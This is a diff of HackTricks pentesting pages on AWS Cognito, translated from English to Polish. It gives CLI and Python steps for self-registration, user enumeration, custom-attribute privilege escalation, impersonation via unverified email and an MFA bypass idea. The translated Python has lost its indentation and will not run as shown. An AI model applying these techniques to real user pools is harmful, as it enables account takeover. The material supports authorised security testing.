zalogowałeś się w **Cognito User Pool** używanym do uzyskania dostępu do puli tożsamości (nie zapomnij, że inne typy dostawców tożsamości mogą być również skonfigurowane).
aws cognito-identity get-id \
-    --identity-pool-id <identity_pool_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-pool-id <identity_pool_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
-# Get the identity_id from the previous commnad response
+# Uzyskaj identity_id z odpowiedzi poprzedniego polecenia
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id <identity_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
 
-# In the IdToken you can find roles a user has access because of User Pool Groups
-# User the --custom-role-arn to get credentials to a specific role
+# W IdToken możesz znaleźć role, do których użytkownik ma dostęp dzięki grupom User Pool
+# Użyj --custom-role-arn, aby uzyskać poświadczenia do konkretnej roli
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
+--identity-id <identity_id> \
     --custom-role-arn <role_arn> \
     --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
> [!WARNING] -> It's possible to **configure different IAM roles depending on the identity provide**r the user is being logged in or even just depending **on the user** (using claims). Therefore, if you have access to different users through the same or different providers, if might be **worth it to login and access the IAM roles of all of them**. +> Możliwe jest **konfigurowanie różnych ról IAM w zależności od dostawcy tożsamości**, z którym użytkownik się loguje, lub nawet w zależności **od użytkownika** (używając roszczeń). Dlatego, jeśli masz dostęp do różnych użytkowników przez tego samego lub różnych dostawców, może być **warto zalogować się i uzyskać dostęp do ról IAM wszystkich z nich**. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 08e06fb45..6b4d7cba2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -2,32 +2,31 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK. +User pool to katalog użytkowników w Amazon Cognito. Dzięki user pool, Twoi użytkownicy mogą **zalogować się do swojej aplikacji internetowej lub mobilnej** za pośrednictwem Amazon Cognito, **lub federować** przez **dostawcę tożsamości** (IdP) zewnętrznego. Niezależnie od tego, czy Twoi użytkownicy logują się bezpośrednio, czy przez stronę trzecią, wszyscy członkowie user pool mają profil katalogu, do którego możesz uzyskać dostęp za pośrednictwem SDK. -User pools provide: +User pools oferują: -- Sign-up and sign-in services. -- A built-in, customizable web UI to sign in users. -- Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool. -- User directory management and user profiles. -- Security features such as multi-factor authentication (MFA), checks for compromised credentials, account takeover protection, and phone and email verification. -- Customized workflows and user migration through AWS Lambda triggers. +- Usługi rejestracji i logowania. +- Wbudowany, dostosowywalny interfejs webowy do logowania użytkowników. +- Logowanie społecznościowe za pomocą Facebooka, Google, Logowanie z Amazon oraz Logowanie z Apple, a także przez dostawców tożsamości SAML i OIDC z Twojego user pool. +- Zarządzanie katalogiem użytkowników i profilami użytkowników. +- Funkcje bezpieczeństwa, takie jak uwierzytelnianie wieloskładnikowe (MFA), kontrole dla skompromitowanych poświadczeń, ochrona przed przejęciem konta oraz weryfikacja telefonu i e-maila. +- Dostosowane przepływy pracy i migracja użytkowników za pomocą wyzwalaczy AWS Lambda. -**Source code** of applications will usually also contain the **user pool ID** and the **client application ID**, (and some times the **application secret**?) which are needed for a **user to login** to a Cognito User Pool. +**Kod źródłowy** aplikacji zazwyczaj zawiera również **ID user pool** oraz **ID aplikacji klienckiej**, (a czasami **sekret aplikacji**?), które są potrzebne do **logowania użytkownika** do Cognito User Pool. -### Potential attacks +### Potencjalne ataki -- **Registration**: By default a user can register himself, so he could create a user for himself. -- **User enumeration**: The registration functionality can be used to find usernames that already exists. This information can be useful for the brute-force attack. -- **Login brute-force**: In the [**Authentication**](cognito-user-pools.md#authentication) section you have all the **methods** that a user have to **login**, you could try to brute-force them **find valid credentials**. +- **Rejestracja**: Domyślnie użytkownik może zarejestrować się samodzielnie, więc mógłby stworzyć konto dla siebie. +- **Enumeracja użytkowników**: Funkcjonalność rejestracji może być używana do znajdowania nazw użytkowników, które już istnieją. Ta informacja może być przydatna do ataku brute-force. +- **Brute-force logowania**: W sekcji [**Uwierzytelnianie**](cognito-user-pools.md#authentication) masz wszystkie **metody**, które użytkownik ma do **logowania**, możesz spróbować przeprowadzić atak brute-force, aby **znaleźć ważne poświadczenia**. -### Tools for pentesting - -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), now includes the `cognito__enum` and `cognito__attack` modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.\ - For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +### Narzędzia do pentestingu +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), teraz zawiera moduły `cognito__enum` i `cognito__attack`, które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie dla MFA) oraz eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń z identity pool, ról, które można przyjąć w tokenach id itp.\ +Aby uzyskać opis funkcji modułów, zobacz część 2 [postu na blogu](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Aby uzyskać instrukcje instalacji, zobacz główną stronę [Pacu](https://github.com/RhinoSecurityLabs/pacu). ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -37,201 +36,169 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and account oracle. Check [this link](https://github.com/padok-team/cognito-scanner) for more info. - +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) to narzędzie CLI w pythonie, które implementuje różne ataki na Cognito, w tym niechciane tworzenie kont i oracle kont. Sprawdź [ten link](https://github.com/padok-team/cognito-scanner) po więcej informacji. ```bash # Install pip install cognito-scanner # Run cognito-scanner --help ``` - -- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): This script allows to enumerate valid attributes for users. - +- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): Ten skrypt umożliwia enumerację ważnych atrybutów dla użytkowników. ```bash python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl ``` +## Rejestracja -## Registration - -User Pools allows by **default** to **register new users**. - +User Pools pozwala **domyślnie** na **rejestrowanie nowych użytkowników**. ```bash aws cognito-idp sign-up --client-id \ - --username --password \ - --region --no-sign-request +--username --password \ +--region --no-sign-request ``` +#### Jeśli ktokolwiek może się zarejestrować -#### If anyone can register - -You might find an error indicating you that you need to **provide more details** of abut the user: - +Możesz napotkać błąd wskazujący, że musisz **podać więcej szczegółów** dotyczących użytkownika: ``` An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required ``` - -You can provide the needed details with a JSON such as: - +Możesz dostarczyć potrzebne szczegóły w formacie JSON, takim jak: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` - -You could use this functionality also to **enumerate existing users.** This is the error message when a user already exists with that name: - +Możesz również użyć tej funkcjonalności do **enumeracji istniejących użytkowników.** Oto komunikat o błędzie, gdy użytkownik o tej nazwie już istnieje: ``` An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` - > [!NOTE] -> Note in the previous command how the **custom attributes start with "custom:"**.\ -> Also know that when registering you **cannot create for the user new custom attributes**. You can only give value to **default attributes** (even if they aren't required) and **custom attributes specified**. - -Or just to test if a client id exists. This is the error if the client-id doesn't exist: +> Zauważ w poprzedniej komendzie, jak **niestandardowe atrybuty zaczynają się od "custom:"**.\ +> Również wiedz, że podczas rejestracji **nie możesz tworzyć nowych niestandardowych atrybutów dla użytkownika**. Możesz tylko przypisać wartość do **domyślnych atrybutów** (nawet jeśli nie są wymagane) oraz **określonych niestandardowych atrybutów**. +Lub po prostu, aby sprawdzić, czy identyfikator klienta istnieje. Oto błąd, jeśli identyfikator klienta nie istnieje: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` +#### Jeśli tylko administrator może rejestrować użytkowników -#### If only admin can register users - -You will find this error and you own't be able to register or enumerate users: - +Znajdziesz ten błąd i nie będziesz mógł rejestrować ani enumerować użytkowników: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` +### Weryfikacja rejestracji -### Verifying Registration - -Cognito allows to **verify a new user by verifying his email or phone number**. Therefore, when creating a user usually you will be required at least the username and password and the **email and/or telephone number**. Just set one **you control** so you will receive the code to **verify your** newly created user **account** like this: - +Cognito pozwala na **weryfikację nowego użytkownika poprzez weryfikację jego adresu e-mail lub numeru telefonu**. Dlatego podczas tworzenia użytkownika zazwyczaj będziesz musiał podać przynajmniej nazwę użytkownika i hasło oraz **adres e-mail i/lub numer telefonu**. Po prostu ustaw jeden **który kontrolujesz**, aby otrzymać kod do **weryfikacji** nowo utworzonego użytkownika **konta** w ten sposób: ```bash aws cognito-idp confirm-sign-up --client-id \ - --username aasdasd2 --confirmation-code \ - --no-sign-request --region us-east-1 +--username aasdasd2 --confirmation-code \ +--no-sign-request --region us-east-1 ``` - > [!WARNING] -> Even if **looks like you can use the same email** and phone number, when you need to verify the created user Cognito will complain about using the same info and **won't let you verify the account**. +> Nawet jeśli **wygląda na to, że możesz użyć tego samego adresu e-mail** i numeru telefonu, gdy musisz zweryfikować utworzonego użytkownika, Cognito będzie narzekać na użycie tych samych informacji i **nie pozwoli ci zweryfikować konta**. -### Privilege Escalation / Updating Attributes - -By default a user can **modify the value of his attributes** with something like: +### Eskalacja uprawnień / Aktualizacja atrybutów +Domyślnie użytkownik może **zmieniać wartość swoich atrybutów** za pomocą czegoś takiego: ```bash aws cognito-idp update-user-attributes \ - --region us-east-1 --no-sign-request \ - --user-attributes Name=address,Value=street \ - --access-token +--region us-east-1 --no-sign-request \ +--user-attributes Name=address,Value=street \ +--access-token ``` - -#### Custom attribute privesc +#### Privesc atrybutów niestandardowych > [!CAUTION] -> You might find **custom attributes** being used (such as `isAdmin`), as by default you can **change the values of your own attributes** you might be able to **escalate privileges** changing the value yourself! +> Możesz znaleźć **atrybuty niestandardowe** (takie jak `isAdmin`), ponieważ domyślnie możesz **zmieniać wartości swoich własnych atrybutów**, co może pozwolić ci na **eskalację uprawnień** poprzez zmianę wartości samodzielnie! -#### Email/username modification privesc +#### Privesc modyfikacji e-maila/nazwy użytkownika -You can use this to **modify the email and phone number** of a user, but then, even if the account remains as verified, those attributes are **set in unverified status** (you need to verify them again). +Możesz użyć tego do **modyfikacji e-maila i numeru telefonu** użytkownika, ale wtedy, nawet jeśli konto pozostaje zweryfikowane, te atrybuty są **ustawione w statusie nieweryfikowanym** (musisz je zweryfikować ponownie). > [!WARNING] -> You **won't be able to login with email or phone number** until you verify them, but you will be **able to login with the username**.\ -> Note that even if the email was modified and not verified it will appear in the ID Token inside the **`email`** **field** and the filed **`email_verified`** will be **false**, but if the app **isn't checking that you might impersonate other users**. +> **Nie będziesz mógł zalogować się za pomocą e-maila lub numeru telefonu** dopóki ich nie zweryfikujesz, ale będziesz **mógł zalogować się za pomocą nazwy użytkownika**.\ +> Zauważ, że nawet jeśli e-mail został zmodyfikowany i niezweryfikowany, pojawi się w tokenie ID w **polu** **`email`** a pole **`email_verified`** będzie **fałszywe**, ale jeśli aplikacja **nie sprawdza tego, możesz podszyć się pod innych użytkowników**. -> Moreover, note that you can put anything inside the **`name`** field just modifying the **name attribute**. If an app is **checking** **that** field for some reason **instead of the `email`** (or any other attribute) you might be able to **impersonate other users**. - -Anyway, if for some reason you changed your email for example to a new one you can access you can **confirm the email with the code you received in that email address**: +> Ponadto, zauważ, że możesz wpisać cokolwiek w **polu** **`name`** po prostu modyfikując **atrybut nazwy**. Jeśli aplikacja **sprawdza** **to** pole z jakiegoś powodu **zamiast `email`** (lub jakiegokolwiek innego atrybutu), możesz być w stanie **podszyć się pod innych użytkowników**. +W każdym razie, jeśli z jakiegoś powodu zmieniłeś swój e-mail na nowy, do którego masz dostęp, możesz **potwierdzić e-mail za pomocą kodu, który otrzymałeś na ten adres e-mail**: ```bash aws cognito-idp verify-user-attribute \ - --access-token \ - --attribute-name email --code \ - --region --no-sign-request +--access-token \ +--attribute-name email --code \ +--region --no-sign-request ``` - -Use **`phone_number`** instead of **`email`** to change/verify a **new phone number**. +Użyj **`phone_number`** zamiast **`email`** do zmiany/weryfikacji **nowego numeru telefonu**. > [!NOTE] -> The admin could also enable the option to **login with a user preferred username**. Note that you won't be able to change this value to **any username or preferred_username already being used** to impersonate a different user. +> Administrator może również włączyć opcję **logowania za pomocą preferowanej nazwy użytkownika**. Należy pamiętać, że nie będziesz mógł zmienić tej wartości na **dowolną nazwę użytkownika lub preferred_username, która już jest używana** do podszywania się pod innego użytkownika. -### Recover/Change Password - -It's possible to recover a password just **knowing the username** (or email or phone is accepted) and having access to it as a code will be sent there: +### Przywracanie/Zmiana Hasła +Możliwe jest odzyskanie hasła, znając **nazwę użytkownika** (lub akceptowany jest email lub telefon), a dostęp do niego będzie możliwy, ponieważ kod zostanie tam wysłany: ```bash aws cognito-idp forgot-password \ - --client-id \ - --username --region +--client-id \ +--username --region ``` - > [!NOTE] -> The response of the server is always going to be positive, like if the username existed. You cannot use this method to enumerate users - -With the code you can change the password with: +> Odpowiedź serwera zawsze będzie pozytywna, jakby nazwa użytkownika istniała. Nie możesz użyć tej metody do enumeracji użytkowników +Za pomocą kodu możesz zmienić hasło na: ```bash aws cognito-idp confirm-forgot-password \ - --client-id \ - --username \ - --confirmation-code \ - --password --region +--client-id \ +--username \ +--confirmation-code \ +--password --region ``` - -To change the password you need to **know the previous password**: - +Aby zmienić hasło, musisz **znać poprzednie hasło**: ```bash aws cognito-idp change-password \ - --previous-password \ - --proposed-password \ - --access-token +--previous-password \ +--proposed-password \ +--access-token ``` +## Uwierzytelnianie -## Authentication +Pula użytkowników obsługuje **różne sposoby uwierzytelniania**. Jeśli masz **nazwa użytkownika i hasło**, obsługiwane są również **różne metody** logowania.\ +Ponadto, gdy użytkownik jest uwierzytelniony w Puli, **przyznawane są 3 typy tokenów**: **Token ID**, **Token dostępu** i **Token odświeżania**. -A user pool supports **different ways to authenticate** to it. If you have a **username and password** there are also **different methods** supported to login.\ -Moreover, when a user is authenticated in the Pool **3 types of tokens are given**: The **ID Token**, the **Access token** and the **Refresh token**. - -- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): It contains claims about the **identity of the authenticated user,** such as `name`, `email`, and `phone_number`. The ID token can also be used to **authenticate users to your resource servers or server applications**. You must **verify** the **signature** of the ID token before you can trust any claims inside the ID token if you use it in external applications. - - The ID Token is the token that **contains the attributes values of the user**, even the custom ones. -- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): It contains claims about the authenticated user, a list of the **user's groups, and a list of scopes**. The purpose of the access token is to **authorize API operations** in the context of the user in the user pool. For example, you can use the access token to **grant your user access** to add, change, or delete user attributes. -- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): With refresh tokens you can **get new ID Tokens and Access Tokens** for the user until the **refresh token is invalid**. By **default**, the refresh token **expires 30 days after** your application user signs into your user pool. When you create an application for your user pool, you can set the application's refresh token expiration to **any value between 60 minutes and 10 years**. +- [**Token ID**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Zawiera roszczenia dotyczące **tożsamości uwierzytelnionego użytkownika**, takie jak `name`, `email` i `phone_number`. Token ID może być również używany do **uwierzytelniania użytkowników w serwerach zasobów lub aplikacjach serwerowych**. Musisz **zweryfikować** **podpis** tokena ID, zanim będziesz mógł zaufać jakimkolwiek roszczeniom wewnątrz tokena ID, jeśli używasz go w aplikacjach zewnętrznych. +- Token ID to token, który **zawiera wartości atrybutów użytkownika**, nawet tych niestandardowych. +- [**Token dostępu**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Zawiera roszczenia dotyczące uwierzytelnionego użytkownika, listę **grup użytkownika oraz listę zakresów**. Celem tokena dostępu jest **autoryzacja operacji API** w kontekście użytkownika w puli użytkowników. Na przykład, możesz użyć tokena dostępu, aby **przyznać swojemu użytkownikowi dostęp** do dodawania, zmieniania lub usuwania atrybutów użytkownika. +- [**Token odświeżania**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Dzięki tokenom odświeżania możesz **uzyskać nowe tokeny ID i tokeny dostępu** dla użytkownika, dopóki **token odświeżania jest ważny**. Domyślnie token odświeżania **wygasa 30 dni po** zalogowaniu się użytkownika do puli użytkowników. Gdy tworzysz aplikację dla swojej puli użytkowników, możesz ustawić czas wygaśnięcia tokena odświeżania aplikacji na **dowolną wartość między 60 minutami a 10 latami**. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH -This is the server side authentication flow: +To jest przepływ uwierzytelniania po stronie serwera: -- The server-side app calls the **`AdminInitiateAuth` API operation** (instead of `InitiateAuth`). This operation requires AWS credentials with permissions that include **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**. The operation returns the required authentication parameters. -- After the server-side app has the **authentication parameters**, it calls the **`AdminRespondToAuthChallenge` API operation**. The `AdminRespondToAuthChallenge` API operation only succeeds when you provide AWS credentials. +- Aplikacja po stronie serwera wywołuje operację API **`AdminInitiateAuth`** (zamiast `InitiateAuth`). Ta operacja wymaga poświadczeń AWS z uprawnieniami, które obejmują **`cognito-idp:AdminInitiateAuth`** i **`cognito-idp:AdminRespondToAuthChallenge`**. Operacja zwraca wymagane parametry uwierzytelniania. +- Po uzyskaniu **parametrów uwierzytelniania** przez aplikację po stronie serwera, wywołuje operację API **`AdminRespondToAuthChallenge`**. Operacja API `AdminRespondToAuthChallenge` kończy się sukcesem tylko wtedy, gdy dostarczysz poświadczenia AWS. -This **method is NOT enabled** by default. +Ta **metoda NIE jest włączona** domyślnie. -To **login** you **need** to know: +Aby **zalogować się**, musisz znać: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- identyfikator puli użytkowników +- identyfikator klienta +- nazwę użytkownika +- hasło +- sekret klienta (tylko jeśli aplikacja jest skonfigurowana do używania sekretu) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ -> Moreover, to perform this action you need credentials with the permissions **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`** - +> Aby **móc zalogować się tą metodą**, ta aplikacja musi zezwalać na logowanie z `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ +> Ponadto, aby wykonać tę akcję, potrzebujesz poświadczeń z uprawnieniami **`cognito-idp:AdminInitiateAuth`** i **`cognito-idp:AdminRespondToAuthChallenge`** ```python aws cognito-idp admin-initiate-auth \ - --client-id \ - --auth-flow ADMIN_USER_PASSWORD_AUTH \ - --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' - --user-pool-id "" +--client-id \ +--auth-flow ADMIN_USER_PASSWORD_AUTH \ +--region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--user-pool-id "" # Check the python code to learn how to generate the hsecret_hash ``` -
-Code to Login - +Kod do logowania ```python import boto3 import botocore @@ -249,61 +216,57 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.admin_initiate_auth( - UserPoolId=user_pool_id, - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.admin_initiate_auth( +UserPoolId=user_pool_id, +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_PASSWORD_AUTH -This method is another simple and **traditional user & password authentication** flow. It's recommended to **migrate a traditional** authentication method **to Cognito** and **recommended** to then **disable** it and **use** then **ALLOW_USER_SRP_AUTH** method instead (as that one never sends the password over the network).\ -This **method is NOT enabled** by default. +Ta metoda to kolejny prosty i **tradycyjny proces uwierzytelniania użytkownika i hasła**. Zaleca się **migrację tradycyjnej** metody uwierzytelniania **do Cognito** i **zaleca się** następnie **wyłączenie** jej oraz **użycie** metody **ALLOW_USER_SRP_AUTH** zamiast (ponieważ ta nigdy nie przesyła hasła przez sieć).\ +Ta **metoda NIE jest włączona** domyślnie. -The main **difference** with the **previous auth method** inside the code is that you **don't need to know the user pool ID** and that you **don't need extra permissions** in the Cognito User Pool. +Główna **różnica** w porównaniu do **poprzedniej metody uwierzytelniania** w kodzie polega na tym, że **nie musisz znać identyfikatora puli użytkowników** i że **nie potrzebujesz dodatkowych uprawnień** w puli użytkowników Cognito. -To **login** you **need** to know: +Aby **zalogować się**, musisz znać: -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- identyfikator klienta +- nazwę użytkownika +- hasło +- sekret klienta (tylko jeśli aplikacja jest skonfigurowana do używania sekretu) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with ALLOW_USER_PASSWORD_AUTH. - +> Aby **móc się zalogować tą metodą**, ta aplikacja musi zezwalać na logowanie z ALLOW_USER_PASSWORD_AUTH. ```python aws cognito-idp initiate-auth --client-id \ - --auth-flow USER_PASSWORD_AUTH --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--auth-flow USER_PASSWORD_AUTH --region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' # Check the python code to learn how to generate the secret_hash ``` -
-Python code to Login - +Kod Python do logowania ```python import boto3 import botocore @@ -321,48 +284,46 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_SRP_AUTH -This is scenario is similar to the previous one but **instead of of sending the password** through the network to login a **challenge authentication is performed** (so no password navigating even encrypted through he net).\ -This **method is enabled** by default. +Ten scenariusz jest podobny do poprzedniego, ale **zamiast wysyłać hasło** przez sieć, aby się zalogować, **przeprowadzana jest autoryzacja wyzwania** (więc żadne hasło nie jest przesyłane, nawet w formie zaszyfrowanej przez sieć).\ +Ta **metoda jest włączona** domyślnie. -To **login** you **need** to know: +Aby **zalogować się**, musisz znać: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- identyfikator puli użytkowników +- identyfikator klienta +- nazwę użytkownika +- hasło +- tajny klucz klienta (tylko jeśli aplikacja jest skonfigurowana do używania tajnego klucza)
-Code to login - +Kod do logowania ```python from warrant.aws_srp import AWSSRP import os @@ -375,32 +336,28 @@ CLIENT_SECRET = 'secreeeeet' os.environ["AWS_DEFAULT_REGION"] = "" aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID, - client_id=CLIENT_ID, client_secret=CLIENT_SECRET) +client_id=CLIENT_ID, client_secret=CLIENT_SECRET) tokens = aws.authenticate_user() id_token = tokens['AuthenticationResult']['IdToken'] refresh_token = tokens['AuthenticationResult']['RefreshToken'] access_token = tokens['AuthenticationResult']['AccessToken'] token_type = tokens['AuthenticationResult']['TokenType'] ``` -
### REFRESH_TOKEN_AUTH & REFRESH_TOKEN -This **method is always going to be valid** (it cannot be disabled) but you need to have a valid refresh token. - +Ta **metoda zawsze będzie ważna** (nie można jej wyłączyć), ale musisz mieć ważny token odświeżania. ```bash aws cognito-idp initiate-auth \ - --client-id 3ig6h5gjm56p1ljls1prq2miut \ - --auth-flow REFRESH_TOKEN_AUTH \ - --region us-east-1 \ - --auth-parameters 'REFRESH_TOKEN=' +--client-id 3ig6h5gjm56p1ljls1prq2miut \ +--auth-flow REFRESH_TOKEN_AUTH \ +--region us-east-1 \ +--auth-parameters 'REFRESH_TOKEN=' ``` -
-Code to refresh - +Kod do odświeżenia ```python import boto3 import botocore @@ -414,83 +371,74 @@ token = '' boto_client = boto3.client('cognito-idp', region_name='') def refresh(client_id, refresh_token): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='REFRESH_TOKEN_AUTH', - AuthParameters={ - 'REFRESH_TOKEN': refresh_token - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='REFRESH_TOKEN_AUTH', +AuthParameters={ +'REFRESH_TOKEN': refresh_token +} +) +except botocore.exceptions.ClientError as e: +return e.response print(refresh(client_id, token)) ``` -
### CUSTOM_AUTH -In this case the **authentication** is going to be performed through the **execution of a lambda function**. +W tym przypadku **uwierzytelnianie** będzie przeprowadzane poprzez **wykonanie funkcji lambda**. -## Extra Security +## Dodatkowe zabezpieczenia -### Advanced Security +### Zaawansowane zabezpieczenia -By default it's disabled, but if enabled, Cognito could be able to **find account takeovers**. To minimise the probability you should login from a **network inside the same city, using the same user agent** (and IP is thats possible)**.** +Domyślnie jest wyłączone, ale jeśli jest włączone, Cognito może być w stanie **znaleźć przejęcia konta**. Aby zminimalizować prawdopodobieństwo, powinieneś logować się z **sieci w tym samym mieście, używając tego samego agenta użytkownika** (i IP, jeśli to możliwe)**.** -### **MFA Remember device** +### **MFA Zapamiętaj urządzenie** -If the user logins from the same device, the MFA might be bypassed, therefore try to login from the same browser with the same metadata (IP?) to try to bypass the MFA protection. +Jeśli użytkownik loguje się z tego samego urządzenia, MFA może być ominięte, dlatego spróbuj zalogować się z tej samej przeglądarki z tymi samymi metadanymi (IP?), aby spróbować obejść ochronę MFA. -## User Pool Groups IAM Roles +## Role IAM grup użytkowników -It's possible to add **users to User Pool** groups that are related to one **IAM roles**.\ -Moreover, **users** can be assigned to **more than 1 group with different IAM roles** attached. +Możliwe jest dodanie **użytkowników do grupy User Pool**, które są związane z jedną **rolą IAM**.\ +Ponadto, **użytkownicy** mogą być przypisani do **więcej niż jednej grupy z różnymi rolami IAM**. -Note that even if a group is inside a group with an IAM role attached, in order to be able to access IAM credentials of that group it's needed that the **User Pool is trusted by an Identity Pool** (and know the details of that Identity 